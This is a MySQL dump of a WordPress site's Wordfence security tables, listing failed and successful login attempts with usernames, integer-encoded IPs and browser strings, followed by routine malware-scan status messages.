(103359, 1499599069.050666, 1, 'loginFailInvalidUsername', 'test', 0, 3417436567, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(103361, 1499600576.360942, 1, 'loginFailInvalidUsername', 'test', 0, 1892043913, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(103370, 1499612233.343273, 1, 'loginFailInvalidUsername', 'test', 0, 3177859328, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(103383, 1499617901.317644, 1, 'loginFailInvalidUsername', 'test', 0, 1176445815, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103384, 1499621977.489121, 1, 'loginFailInvalidUsername', 'test', 0, 1393864342, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103385, 1499621978.548352, 1, 'loginFailInvalidUsername', 'test', 0, 1393864342, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103386, 1499623231.079960, 1, 'loginFailInvalidUsername', 'test', 0, 779420885, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103387, 1499626531.843392, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1539836950, 'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/532.94.47 (KHTML, like Gecko) Chrome/57.5.0669.5931 Safari/534.65 OPR/40.6.1481.6654'),
(103388, 1499628203.835511, 1, 'loginFailInvalidUsername', 'test', 0, 3144234785, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103389, 1499628205.262855, 1, 'loginFailInvalidUsername', 'test', 0, 3144234785, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103390, 1499629816.061521, 1, 'loginFailInvalidUsername', 'test', 0, 3315580339, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103391, 1499629817.736908, 1, 'loginFailInvalidUsername', 'test', 0, 3315580339, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103392, 1499632033.555609, 1, 'loginFailInvalidUsername', 'test', 0, 92696206, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103393, 1499632034.587579, 1, 'loginFailInvalidUsername', 'test', 0, 92696206, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(103395, 1499632429.614496, 1, 'loginFailInvalidUsername', 'test', 0, 1612157886, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(103397, 1499636761.833784, 1, 'loginFailInvalidUsername', 'test', 0, 702968555, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103398, 1499637385.597415, 1, 'loginFailInvalidUsername', 'test', 0, 3065221390, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103399, 1499637386.944260, 1, 'loginFailInvalidUsername', 'test', 0, 3065221390, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103400, 1499638341.423933, 1, 'loginFailInvalidUsername', 'test', 0, 736129142, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103401, 1499638343.312626, 1, 'loginFailInvalidUsername', 'test', 0, 736129142, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103402, 1499638406.898717, 1, 'loginFailInvalidUsername', 'test', 0, 1314156440, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103403, 1499639552.545447, 1, 'loginFailInvalidUsername', 'test', 0, 1579330244, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103404, 1499639553.605573, 1, 'loginFailInvalidUsername', 'test', 0, 1579330244, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103405, 1499639880.151582, 1, 'loginFailInvalidUsername', 'test', 0, 1296128796, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103406, 1499639881.145440, 1, 'loginFailInvalidUsername', 'test', 0, 1296128796, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(103418, 1499656486.798499, 1, 'loginFailInvalidUsername', 'test', 0, 1892904470, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103419, 1499661153.331904, 1, 'loginFailInvalidUsername', 'test', 0, 656427239, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(103421, 1499662252.948001, 1, 'loginFailInvalidUsername', 'test', 0, 1951800347, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103422, 1499662254.425107, 1, 'loginFailInvalidUsername', 'test', 0, 1951800347, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(103424, 1499662703.603651, 1, 'loginFailValidUsername', 'julie', 2, 3149755246, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
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INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
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(103661, 1499883263.344405, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1892535184, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103662, 1499885306.055557, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3743315258, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103663, 1499885307.430949, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3743315258, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103664, 1499886151.637327, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1369719043, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
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(104211, 1500411035.853697, 1, 'loginFailValidUsername', 'admin', 1, 3410419836, ''),
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INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(104259, 1500449778.883890, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3201796910, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(104267, 1500465083.137367, 0, 'loginOK', 'admin', 1, 1806133391, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898'),
(104268, 1500465124.121031, 0, 'loginOK', 'admin', 1, 3250520646, 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0');

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfNet404s`
--

CREATE TABLE `www2_wfNet404s` (
  `sig` binary(16) NOT NULL,
  `ctime` int(10) UNSIGNED NOT NULL,
  `URI` varchar(1000) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfNet404s`
--

INSERT INTO `www2_wfNet404s` (`sig`, `ctime`, `URI`) VALUES
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-- --------------------------------------------------------

--
-- Structure de la table `www2_wfReverseCache`
--

CREATE TABLE `www2_wfReverseCache` (
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  `host` varchar(255) NOT NULL,
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) ENGINE=MyISAM DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Structure de la table `www2_wfScanners`
--

CREATE TABLE `www2_wfScanners` (
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--
-- Déchargement des données de la table `www2_wfScanners`
--

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-- --------------------------------------------------------

--
-- Structure de la table `www2_wfStatus`
--

CREATE TABLE `www2_wfStatus` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `ctime` double(17,6) UNSIGNED NOT NULL,
  `level` tinyint(3) UNSIGNED NOT NULL,
  `type` char(5) NOT NULL,
  `msg` varchar(1000) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_wfStatus`
--

INSERT INTO `www2_wfStatus` (`id`, `ctime`, `level`, `type`, `msg`) VALUES
(118136, 1492290942.757329, 10, 'info', 'SUM_FINAL:Scan complete. You have 6 new issues to fix. See below.'),
(117369, 1491943535.470579, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117368, 1491943535.282504, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117367, 1491943535.002886, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117035, 1491750762.636499, 2, 'info', 'Starting scan of file contents'),
(117036, 1491750763.659355, 2, 'info', 'Scanned contents of 28 additional files at 27.39 per second'),
(117037, 1491750764.664138, 2, 'info', 'Scanned contents of 40 additional files at 19.73 per second'),
(117038, 1491750765.608326, 2, 'info', 'Scanned contents of 86 additional files at 28.94 per second'),
(117039, 1491750765.609197, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117040, 1491750765.610905, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117041, 1491750766.458654, 2, 'info', 'Done host key check.'),
(117042, 1491750766.459760, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117205, 1491821934.460034, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117410, 1491943546.642670, 2, 'info', 'Starting password strength check on 3 users.'),
(117704, 1492108229.559657, 2, 'info', 'Found 14 plugins'),
(117703, 1492108229.393172, 2, 'info', 'Getting plugin list from WordPress'),
(117702, 1492108228.517528, 1, 'info', 'Contacting Wordfence to initiate scan'),
(118204, 1492320259.590769, 10, 'info', 'SUM_ENDOK:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(118205, 1492320259.596038, 10, 'info', 'SUM_START:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(118203, 1492320259.572865, 2, 'info', 'Done examining URls'),
(118198, 1492320258.655249, 10, 'info', 'SUM_ENDOK:Scanning files for URLs in Google\'s Safe Browsing List'),
(118199, 1492320258.662800, 10, 'info', 'SUM_START:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(118200, 1492320258.698980, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(118201, 1492320258.705119, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(118202, 1492320259.571407, 2, 'info', 'Done host key check.'),
(117884, 1492265523.406181, 2, 'info', 'Found 4 themes'),
(117428, 1491988746.248769, 1, 'info', 'Scheduled Wordfence scan starting at Wednesday 12th of April 2017 09:19:06 AM'),
(117417, 1491943547.709762, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117416, 1491943547.709141, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117415, 1491943547.702207, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117414, 1491943547.699341, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117413, 1491943547.698433, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117893, 1492265526.746451, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(116952, 1491702317.195127, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(116961, 1491702318.963405, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(116953, 1491702318.066070, 2, 'info', 'Done host key check.'),
(117761, 1492108251.526786, 2, 'info', 'Done examining URls'),
(117760, 1492108251.526349, 2, 'info', 'Done host key check.'),
(116960, 1491702318.961621, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117272, 1491886398.011599, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117273, 1491886398.274547, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(116956, 1491702318.918813, 2, 'info', 'Done file contents scan'),
(117274, 1491886398.541811, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(116954, 1491702318.068558, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(116955, 1491702318.907870, 2, 'info', 'Done URL check.'),
(118029, 1492280432.016393, 10, 'info', 'SUM_START:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(118030, 1492280432.096740, 10, 'info', 'SUM_ENDOK:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(117705, 1492108229.564197, 2, 'info', 'Getting theme list from WordPress'),
(117706, 1492108229.608742, 2, 'info', 'Found 4 themes'),
(117402, 1491943545.675865, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117916, 1492265536.041093, 2, 'info', 'Analyzed 2400 files containing 37.48 MB of data so far'),
(117905, 1492265530.818478, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117906, 1492265531.127129, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117907, 1492265531.319452, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117908, 1492265531.766808, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117909, 1492265532.116014, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117910, 1492265533.270359, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117911, 1492265534.545924, 2, 'info', 'Analyzed 1900 files containing 30.45 MB of data so far'),
(117912, 1492265534.920306, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117913, 1492265535.152992, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117914, 1492265535.516772, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117915, 1492265535.755542, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117662, 1492072420.506504, 2, 'info', 'Done host key check.'),
(117391, 1491943542.992328, 2, 'info', 'Scanned contents of 40 additional files at 19.47 per second'),
(118088, 1492290933.534632, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117070, 1491750769.607819, 1, 'info', '-------------------'),
(117340, 1491943519.290776, 1, 'info', 'Scheduled Wordfence scan starting at Tuesday 11th of April 2017 08:45:19 PM'),
(117731, 1492108240.065961, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117730, 1492108239.674139, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(118089, 1492290933.935482, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(118090, 1492290934.108393, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(118091, 1492290934.377098, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(118092, 1492290934.554513, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117805, 1492193116.421013, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117804, 1492193116.148815, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117285, 1491886402.670356, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117286, 1491886402.842688, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117287, 1491886403.129051, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(118058, 1492290925.910273, 2, 'info', 'Getting plugin list from WordPress'),
(118059, 1492290925.923969, 2, 'info', 'Found 14 plugins'),
(118060, 1492290925.927564, 2, 'info', 'Getting theme list from WordPress'),
(118061, 1492290925.953736, 2, 'info', 'Found 4 themes'),
(118062, 1492290925.971866, 10, 'info', 'SUM_START:Fetching core, theme and plugin file signatures from Wordfence'),
(117816, 1492193120.302107, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117815, 1492193119.874227, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(118024, 1492280431.118628, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(118023, 1492280431.076324, 10, 'info', 'SUM_START:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(117580, 1492058789.161984, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117282, 1491886401.226873, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117283, 1491886401.990081, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117284, 1491886402.407973, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117006, 1491750752.695505, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117370, 1491943535.745297, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117371, 1491943536.040442, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117372, 1491943536.415916, 2, 'info', 'Analyzed 1300 files containing 21.79 MB of data so far'),
(117373, 1491943536.589211, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117374, 1491943536.735433, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117375, 1491943536.958823, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117376, 1491943537.186348, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117377, 1491943537.944139, 2, 'info', 'Analyzed 1800 files containing 27.98 MB of data so far'),
(117378, 1491943538.738522, 2, 'info', 'Analyzed 1900 files containing 30.53 MB of data so far'),
(117487, 1491988779.343570, 2, 'info', 'Done file contents scan'),
(118065, 1492290929.968946, 10, 'info', 'SUM_ENDSUCCESS:Fetching list of known malware files from Wordfence'),
(118240, 1499280689.843379, 2, 'info', 'Scanning comment with Author: Ann Weaver Email: bjzhzk@fjiauool.com Source IP: 81.171.81.55 '),
(118241, 1499280689.903410, 2, 'info', 'Checking 5 host keys against Wordfence scanning servers.'),
(117513, 1491988782.035408, 1, 'info', '-------------------'),
(117514, 1491988782.035769, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43923 records in 35 seconds.'),
(117784, 1492193101.472502, 1, 'info', 'Scheduled Wordfence scan starting at Friday 14th of April 2017 06:05:01 PM'),
(118164, 1492320247.312993, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(118163, 1492320247.077389, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(118162, 1492320246.820239, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117922, 1492265537.041796, 2, 'info', 'Starting scan of file contents'),
(117923, 1492265538.151796, 2, 'info', 'Scanned contents of 28 additional files at 25.24 per second'),
(118193, 1492320257.747117, 2, 'info', 'Done host key check.'),
(118192, 1492320256.882616, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(118194, 1492320257.748417, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(118195, 1492320258.629653, 2, 'info', 'Done URL check.'),
(118196, 1492320258.649110, 2, 'info', 'Done file contents scan'),
(118197, 1492320258.650460, 10, 'info', 'SUM_ENDOK:Scanning file contents for infections and vulnerabilities'),
(118177, 1492320251.905827, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(118171, 1492320249.560198, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(118172, 1492320249.701162, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(118173, 1492320249.978579, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(118174, 1492320250.184421, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(118175, 1492320250.964384, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(118176, 1492320251.655383, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(118087, 1492290933.253231, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(118086, 1492290933.001307, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(118025, 1492280431.120644, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117145, 1491767413.788436, 2, 'info', 'Starting password strength check on 3 users.'),
(117989, 1492280417.111075, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117990, 1492280417.304971, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117991, 1492280418.078675, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117992, 1492280418.558372, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117575, 1492058789.078131, 2, 'info', 'Done URL check.'),
(117148, 1491767415.039708, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117576, 1492058789.090535, 2, 'info', 'Done file contents scan'),
(118026, 1492280431.990595, 2, 'info', 'Done host key check.'),
(116948, 1491702315.262297, 2, 'info', 'Scanned contents of 28 additional files at 27.69 per second'),
(117288, 1491886403.411314, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117289, 1491886404.802971, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(116949, 1491702316.277614, 2, 'info', 'Scanned contents of 41 additional files at 20.23 per second'),
(117294, 1491886407.512527, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117295, 1491886407.813124, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117296, 1491886407.872411, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117943, 1492265542.985578, 2, 'info', 'Starting password strength check on 3 users.'),
(118232, 1495637412.261090, 2, 'info', 'Scanning comment with Author: Chelsea Wallace Email: hqklgtrqgwh@fvrmaw.com Source IP: 81.171.81.234 '),
(117946, 1492265544.126504, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117200, 1491821931.641106, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117104, 1491767399.190569, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117103, 1491767398.846755, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117102, 1491767398.565648, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117101, 1491767398.215552, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117100, 1491767397.716284, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117099, 1491767397.358825, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(118010, 1492280425.984358, 2, 'info', 'Starting scan of file contents'),
(117081, 1491767391.022730, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117082, 1491767391.907387, 2, 'info', 'Getting plugin list from WordPress'),
(117083, 1491767392.068163, 2, 'info', 'Found 14 plugins'),
(117084, 1491767392.076499, 2, 'info', 'Getting theme list from WordPress'),
(117085, 1491767392.131421, 2, 'info', 'Found 4 themes'),
(117602, 1492058791.946313, 1, 'info', '-------------------'),
(117603, 1492058791.946782, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43891 records in 33 seconds.'),
(118011, 1492280427.111542, 2, 'info', 'Scanned contents of 27 additional files at 24.01 per second'),
(118012, 1492280428.223044, 2, 'info', 'Scanned contents of 39 additional files at 17.44 per second'),
(118013, 1492280429.285101, 2, 'info', 'Scanned contents of 86 additional files at 26.07 per second'),
(118014, 1492280429.287965, 2, 'info', 'Scanned contents of 86 additional files at 26.05 per second'),
(118015, 1492280429.288560, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117596, 1492058791.428211, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117094, 1491767395.762669, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117095, 1491767396.103520, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117096, 1491767396.423575, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117097, 1491767396.765648, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117098, 1491767397.083388, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(118134, 1492290942.755868, 1, 'info', '-------------------'),
(118135, 1492290942.756904, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44556 records in 27 seconds.'),
(118133, 1492290942.720591, 10, 'info', 'SUM_ENDBAD:Scanning for old themes, plugins and core files'),
(117043, 1491750767.339717, 2, 'info', 'Done URL check.'),
(118097, 1492290934.836174, 10, 'info', 'SUM_START:Scanning file contents for infections and vulnerabilities'),
(117986, 1492280416.009392, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117987, 1492280416.317913, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117985, 1492280415.633519, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117984, 1492280415.260157, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117186, 1491821925.701428, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117184, 1491821925.107147, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117185, 1491821925.372183, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117538, 1492058773.572644, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117183, 1491821924.839731, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117626, 1492072410.730956, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117982, 1492280414.490925, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117983, 1492280414.827490, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117540, 1492058774.025212, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117539, 1492058773.814000, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(116968, 1491702320.202869, 2, 'info', 'Starting password strength check on 3 users.'),
(117771, 1492108252.873984, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117275, 1491886398.940250, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117276, 1491886399.291372, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117277, 1491886399.572694, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117894, 1492265527.080499, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117895, 1492265527.363531, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117896, 1492265527.732477, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117897, 1492265528.051836, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117569, 1492058787.257201, 2, 'info', 'Scanned contents of 81 additional files at 24.92 per second'),
(117568, 1492058786.198437, 2, 'info', 'Scanned contents of 39 additional files at 17.80 per second'),
(117159, 1491767415.216514, 1, 'info', '-------------------'),
(117160, 1491767415.223357, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43955 records in 34 seconds.'),
(117567, 1492058785.118303, 2, 'info', 'Scanned contents of 28 additional files at 25.19 per second'),
(117162, 1491767415.233064, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117824, 1492193124.322762, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117825, 1492193124.638232, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117759, 1492108250.642111, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117281, 1491886400.905530, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117395, 1491943544.765756, 2, 'info', 'Done host key check.'),
(117278, 1491886399.924260, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117279, 1491886400.326996, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117280, 1491886400.692924, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117684, 1492072423.842626, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117683, 1492072423.839265, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117682, 1492072423.829861, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(118131, 1492290942.705937, 10, 'info', 'SUM_ENDOK:Scanning to check available disk space'),
(117695, 1492108217.682129, 1, 'info', 'Scheduled Wordfence scan starting at Thursday 13th of April 2017 06:30:17 PM'),
(117424, 1491943547.789546, 1, 'info', '-------------------'),
(117425, 1491943547.789965, 1, 'info', 'Scan Complete. Scanned 2410 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43756 records in 28 seconds.'),
(117828, 1492193125.190994, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117195, 1491821929.057044, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
